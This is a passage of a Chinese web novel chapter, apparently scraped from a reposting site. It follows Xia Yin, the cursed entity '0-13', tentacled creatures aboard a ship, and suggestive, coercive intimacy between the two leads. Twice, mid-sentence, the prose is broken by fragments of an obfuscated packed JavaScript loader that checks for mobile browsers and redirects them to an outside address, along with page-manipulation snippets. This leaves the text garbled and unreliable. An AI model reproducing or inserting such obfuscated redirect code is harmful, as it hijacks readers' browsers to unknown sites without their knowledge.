一击之下,他全身的神性都被掏空,脑仁抽痛,近乎虚脱。 效果却是显著的。 他让“0-13”受了伤。 就算纳萨尼尔三世和那个梦境教会的圣徒,也没能在“0-13”的胸口穿一个洞。 那些荆棘和触手都是他自己的血肉,通过它们,夏因甚至能清晰地“触摸”到“0-13”的体内。 冰冷凝固的血,不再收缩扩张的肺叶,还有……消失的心脏。 这具身躯里,竟然没有心脏。 他的Omega,被挖走了心脏? 各种猜想涌入脑海,但很快被胸中翻涌的种种情绪淹没。 夏因现在只有报复了“0-13”的畅快,以及对它刚才所作所为的嫌恶。 好脏。 太脏了。 他发狠似地用手背反复擦拭嘴唇,力道大得连指节也泛起了白。 唇瓣很快就被磨得渗出血丝,可即便如此,身体从里到外都还残留着“0-13”强加给他的触感。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15333787|167719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >冰冷、滑腻、强势,以及临近窒息的战栗。 然而,噩梦似乎还未结束。 “0-13”向他走来,迎着血荆棘,让夏因的利刺在它的胸.膛里扎得更深。 它勾起染血的唇角,加深了那抹若有似无的笑意,神态近乎邪狞。 “别过来!” 夏因冷声威吓。 “如果你敢再碰我的嘴,我就……” 后半句威胁,他还没说出口,便抿紧了唇。 因为它倏然凑近了他,他们的唇近在咫尺,只要他轻轻一动,就算只是吐出一个字,都会再次蹭到对方。 夏因的后背抵在了门板上。 他已无路可退。 明明是他刺穿了“0-13”,现在的姿势却像是“0-13”将他钉在了这个狭小的空间里。 “有那么不舒服吗?” 它低低笑着,喉咙发出沉而哑的颤音。 他向左扭开脸,它没有制止,而是自然地垂下头,舔.舐过他潮湿的右眼尾。 “……都把你弄哭了。” 夏因的耳尖燃起耻辱的红云,不再躲避,而是直面它,眼神凛冽如刀,狠狠瞪视它。 “这是在生气了。” 它熟练地读出他的情绪,愉悦地接纳他的瞪视。 甚至牵起他的手,按在自己洞穿的左胸.膛上,引导他挤压伤口,弄出更多血水,或者把手指塞进去,将伤口撕裂得更大。 “这样,够解气吗?” 它嗓音不稳,泄露出一丝疼痛的气息。 “不够解气,就再捅一次、两次,三次……” 随着肺部持续受损,它喉间微滚,又咳出些许血沫。 但它似乎完全不在意,望向夏因的目光,还是那么温柔缱绻,那么的……疯狂恣肆。 夏因却觉得疼。 他不想伤害他的Omega,一点也不。 “……住手。”他甩开它,颤抖着将手背在身后,死死攥紧。 咬牙道,“这又不是你自己的身体。” “0-13”的脸上有一瞬间的茫然。 它很快便恢复了笑容。 “不是我的?” “嗯……那也说不准呢。” 16. 争夺 ……说不准? 因为这个似是而非的回答,夏因的心脏漏跳了一拍。 正要质问“0-13”,却见它瞳孔变得涣散失神,像一只耗尽发条的人偶般,径直向后倒了下去。 这一切发生得太过突然,血荆棘还连接在他们中间,“0-13”一倒,夏因也被拽倒,整个人扑到了它身上。 鼻梁撞在它柔软冰冷的唇上,血锈味混合着莫名的甜腥气息瞬间充斥了鼻腔。 这对可恶的肉条刚刚还在对他的口腔肆意蹂躏,沾满了不知名的黏液,滑腻得像某种海洋生物的触须。 当夏因撑起身体时,鼻梁甚至牵拉起了透明的丝液。 他却顾不得擦拭。 “醒醒,什么叫‘说不准’?这具躯壳和你到底是什么关系?” 可无论他怎样做,“0-13”都沉沉睡着,不肯给他一个答案。 夏因深深呼吸,让自己冷静下来。 ……它一定是故意那样说的。 玩弄人心是诅咒物的拿手好戏,更何况“0-13”还和擅长引诱人许愿的“许愿灵柩”有着莫大的关联。 不能被它三言两语扰乱心智。 Omega的事情延后再考虑,反正他已经获得了伊芙琳公主的线索。 现在,还是先专注自身。 夏因观察着这个从自己身体里长出来的“武器”。 看来,“以血偿血”并非战争神纹的唯一能力。 它还能帮助夏因用自己的血肉制作出一把无生命的武器,就像纳萨尼尔三世能将脊骨制作成荆棘长刺。 有了这样一把藏在身体里、随时使用的武器,再加上哥哥的帮助,他能大幅度弥补自己在近战方面的缺陷。 “但荆棘好丑。”哥哥嘀咕,“我还是更喜欢骑士剑之类的。” 话音刚落,只见荆棘血刺迅速融化,蠕动着变形,最后凝固成一柄骑士长剑。 “……太酷了!这是你做的吗?”哥哥“哇”了一声,“那岂不是以后我想要什么武器,你就能变出什么武器了?” 夏因却觉得体内神性被抽空,脑袋一晕,差点再次栽在“0-13”身上。 变形也需要消耗神性。 “等到我有足够的神性支撑,就能随心制作了。目前来看,只能做一柄小一点的。如果武器太大,我甚至无法把它抽.离体外。” 他吃力地将这些血肉收回自己的身躯。 长剑抽.离,“0-13”的左胸.膛已经不再流血,血管和肌肉纤维在以肉眼可见的速度生长着,编织成网,重建这具破损的身躯。 “它的自愈速度好快。”哥哥说,“既然这样,后颈的疤痕为什么还没好?” “或许是新伤和旧伤的区别。”夏因沉眉,“那些疤痕,或许在它、不,在这具躯体还没有被‘0-13’占据的时候,就已经存在了。” 如果这具躯壳真的属于那个Omega……那么,被咬过的标记上,为什么会有那么多伤痕? 是谁想毁掉他的腺体?其他人,还是那个Omega自己? 夏因不敢想太多有关他的事。 他决定眼不见心不乱,双臂勾住“0-13”的腋下,费了好些力气,将它连拖带拽地塞回了灵柩里。 咯吱——棺盖牢牢合紧。 “说回神纹,”夏因挪开视线,“我还有一个猜想。” 哥哥:“嗯?” “留意到了吗?血肉兵器的根部,长得很像那些章鱼异种的触手。” 夏因沉思。 “战争之神的神纹可能已经变异了,加入了一些章鱼异种的神性特质——所以才能让我的血肉变形。” “啊?”哥哥惊讶,“可是‘0-13’不是已经把你身体里的卵清理干净了吗?” 夏因反射性地蹙了蹙眉心,强迫自己忘记那时的感觉。 “不。它没有完全得手。” “在它进来之前,少数留在我体内的卵,已经被我黏连、吸收,和我的血肉融为了一体。” “‘0-13’暂且还不知道这一点。” “现在的我,可以听懂那些异种的语言;甚至,如果我想,还能用体内的器官‘说’出它们的语言。” 夏因看着地板上的异种幼崽尸骸,眸光掀起些许波澜。 “有一点,‘0-13’是对的。” “我好像……正在变成和它一样的怪物。” 想到自身这段时间发生的变化,夏因略微感到不安。 心情刚有一点沉重,眼前便突兀地冒出一颗脑袋。 和他长得一模一样的幻影脑袋,从他胸.前钻出来,笑盈盈地仰头看他。 “做怪物也没什么不好啊。还有我陪你呢。” 哥哥拍拍他的脸。 “幽灵哥哥,怪物弟弟。蛮配的嘛。” 夏因注视着他,眼底有了温度。 “嗯。” 他打起精神,利落地洗干净自己,并清理地板上的异种尸骸。 然后,捡到了“0-13”掉落的发饰。 那是一枚秘银打造的圆环,手指般粗细,被用来绑束碎发。 紫水晶和鸽血石打磨成精美的宝珠,以银线连缀成串,连接起十数枚圆环,将那浓密微卷的银发编织得浪漫而富于美感。 刚才夏因在挣扎时,扯断了其中一截。 束发圆环便落在他手里,银线在他手指间蜿蜒盘绕,末端悬垂而下。 这可能是属于那个Omega的发饰。 夏因凑近手掌,轻嗅了一下。 没有血腥味,是干净的气息。 ……他在期待什么呢? 就算它曾经沾有那个Omega的信息素,曾经饱含着紫罗兰花香的信息素,过了这么久,也早就该淡去了。 夏因将发饰放进了自己的衬衣前兜里。 顿了顿,表情突然间凝固住了。 ……他刚才在干什么? 他竟然像个好.色之徒一样,嗅闻Omega的贴身物品! 愧疚和羞耻顿时淹没了他,如果不是条件不允许,他现在立刻就会向神忏悔,祈求神惩罚他的纵.欲。 哥哥被他的想法吓到了。 “放轻松一点,你们已经标记过了,渴望对方的信息素再正常不过,那是合情合理的睹物思人!” “但我们还没结婚。”夏因薄唇微不可察地翕动。 哥哥捂脸:“救命,教会到底把我弟弟教成什么老古板了啊……” 他话锋一转:“不过,这种现象确实值得警惕。” “你最近的体温一直比平时更高,而且,以你的自制力,竟然也表现出了对信息素的需求。从各方面看来,这都是进入Alpha易感期的先兆。” “你说,那些异种会不会能激发人类对生殖的欲望?” 谈到正事,夏因恢复了平时的冷静,仔细思索起来。 “……船上暂时还没有明显的迹象。” “更何况我标记过Omega,AO之间绝对忠贞,除非对方释放出信息素,否则我不可能被其他人诱导发热。” “不过你说得对,我最近的情况是有些奇怪。” “有备无患,我这就去跟弗雷泽借一支信息素中和剂。” 刚说起这事,就传来了敲门声。 “阿尔洛,你在吗?” 夏因推门而出,并将“0-13”紧紧锁在背后的房间。 “船长放我出来了!”弗雷泽露齿大笑,“他真是一位正直、善良、明理的好雇主!” “恭喜出狱。”夏因说。 “当然,如果没有你坚持要找船长定夺,我现在还被关在小黑屋里。”弗雷泽真挚地望着他,“谢谢你,阿尔洛。” 夏因淡淡点头。 其实他有些怀疑,二副为什么执意要监禁弗雷泽。 仅仅是为了嫁祸? 还是为了让夏因陷入孤立无援的境地,以后更容易对他下手? 如果只是这样,那为什么当他要求解除弗雷泽的禁闭时,二副在最终目的已经达成的情况下,仍然认为释放弗雷泽是“一点牺牲”? 会不会,那些异种本来就对弗雷泽图谋不轨? 正想着,弗雷泽出声道:“对了,你还记得驳船上遗留的‘半个圆圈状’的痕迹吗?我想起来是什么东西造成的了。” “是章鱼。”夏因说。 “你已经知道了啊。”弗雷泽有些遗憾,“没错,就是章鱼触手上的圆形吸盘。” “我住在海边,经常在海鱼身上看到这种和章鱼搏斗后留下的伤痕。不过,那些伤痕普遍都很小,驳船上的这一个,直径却有一个成年人展臂那么长……” 弗雷泽有些胆寒。 “如果真的是章鱼类异种袭击了驳船,那它该有多大啊?” 估计有整艘“深潜者号”那么大。 夏因心中猜想。 摧毁驳船的异种,一定是大副。 它体型太过庞大,就算拟态成人类,也缩不到正常人类的体型。 “对了,弗雷泽,”他问,“你是怎么忽然想起那是章鱼的?” 弗雷泽回想了一下:“我被关起来的时候,做了一个相关的噩梦。” 夏因:“噩梦?” “嗯,有关章鱼的噩梦。”弗雷泽脸色不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15333788|167719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太好,“我好像在逃离着什么,身后有章鱼异种在追捕我。” “但当我偶然间低头,看向自己的时候,我发现……我的双手、双腿,也全部是触手,密密麻麻的、长有吸盘的触手。” “然后我就惊醒了。” 听完他的讲述,夏因心头微沉。 熟读神学知识的他,知道任何看似巧合的梦境,都一定有其深层含义。 “我出了什么问题吗?”弗雷泽有些不安。 “暂时还没有。”夏因先安抚住他。 然后嘱咐:“最近不要吃任何没有熟透的东西,尤其是卵。”顿了顿,“也不要和任何人进行不洁的接触。” “不洁的接触?”弗雷泽不解。 “我是指,在没有婚姻或标记的情况下,做某些过分亲密的事情。”夏因下颌线紧绷,“尤其是和乔舒亚。” 弗雷泽眨巴了一下眼。 恍然大悟:“啊哈,阿尔洛,你该不会是光明教徒在战争教会的卧底吧?” 夏因脸色一僵。 正要解释,附近突然传来了一声吼叫。 “*的,什么鬼东西?!” 乔舒亚的房门外,一名船员惊恐地向后倒退几步,手里的餐盘没拿稳,摔在地上,煮熟的海蟹、牡蛎、鱼虾撒落一地。 夏因的视线从那些食物上移开,问:“你刚才看到了什么?” 船员死死盯着乔舒亚的房门:“我,我来送餐,没人开门,就透过猫眼往里看……” “房间里没有人,但墙角的阴影里,有什么东西在蠕动,在扭曲,爬行……” “海神在上,”他做了几次祈祷,稍微镇定了一些,“我一定是看错了。” “你没看错。”夏因毫不留情地说。 船员的脸顿时煞白。 夏因没给他崩溃的时间:“你为什么给乔舒亚挑选了这些食物?这不是船员的标准。” “因为他说,他想吃点带壳的。”船员呆滞地复述,“那些东西便宜、肮脏又难剥,以前是他最讨厌的食物。整艘‘深潜者号’只有大副喜欢,这些还是我从大副那里拿到的。” 夏因“嗯”了一声:“你还有察觉到乔舒亚的其他异常吗?” 船员颤抖着频频点头。 “昨晚,乔舒亚热情得让人害怕,简直要把我吸断。杰里是最后一个离开的。一听说他的尸体没有*,我的第一反应就是……那是被乔舒亚撕掉的。” 弗雷泽爆了句粗口。 “这简直比我的噩梦还惊悚……既然你怀疑乔舒亚是凶手,当时怎么没告诉大家?” “那不怪我!”船员叫道,“乔舒亚一直以来都像个普通弱小的Beta,这么离谱的事,别说其他人不信,我当时也不信啊!” 其实到了现在,他也抱有一丝侥幸,或许是自己看错了、想多了呢?乔舒亚只是单纯生病了而已。 “如果想活命,就离乔舒亚远点。”夏因告诫他。 船员半信半疑地点点头。 他收拾好地上的带壳食物,远离了乔舒亚的房间。但他没有彻底离开,还逗留在走廊尽头,似乎想等他们进入乔舒亚的房间,探索出什么结果。 弗雷泽凝重地问夏因:“你觉得,乔舒亚是异种?” “我确定。”夏因说,“乔舒亚是最近才被污染的,船上的异种不只他一个——比如那只绞碎驳船的大家伙。” 弗雷泽喉头艰难地滚了一下,眼神变换了几回,最后努力镇定下来。 他信任夏因的判断。 “别担心,我会想办法解决它们。我们都会安全的,一定。” 他努力安抚夏因。 “不过,乔舒亚的隔壁太危险了,你不能再住这里了。白天和我一起行动,晚上去我房间里睡——我会保护你。” “感谢你的好意。”夏因先是道谢。 如果没有“0-13”,这绝对是最佳选择。 “但是……” 他的拒绝噎在喉中。 吱呀—— 在他身后,藏着“0-13”的那间舱室的门,竟然自己打开了。 冷意袭来。 冰冷的手臂从身后伸过来,环住他的上半.身,将他拢在自己身前。手指扣住他的肩头,轻柔却不容抗拒,极具占有意味地搂抱着他。 银发垂落,发丝拂过耳廓。 夏因呼吸一滞。 “0-13”撩起眼皮,露出幽邃的眼瞳,状似漫不经心地扫向弗雷泽。 “啊……我可能没有理解。” 森冷潮湿的嗓音在耳畔响起。 “你刚才话里的意思是,想要从我这里,抢走他?”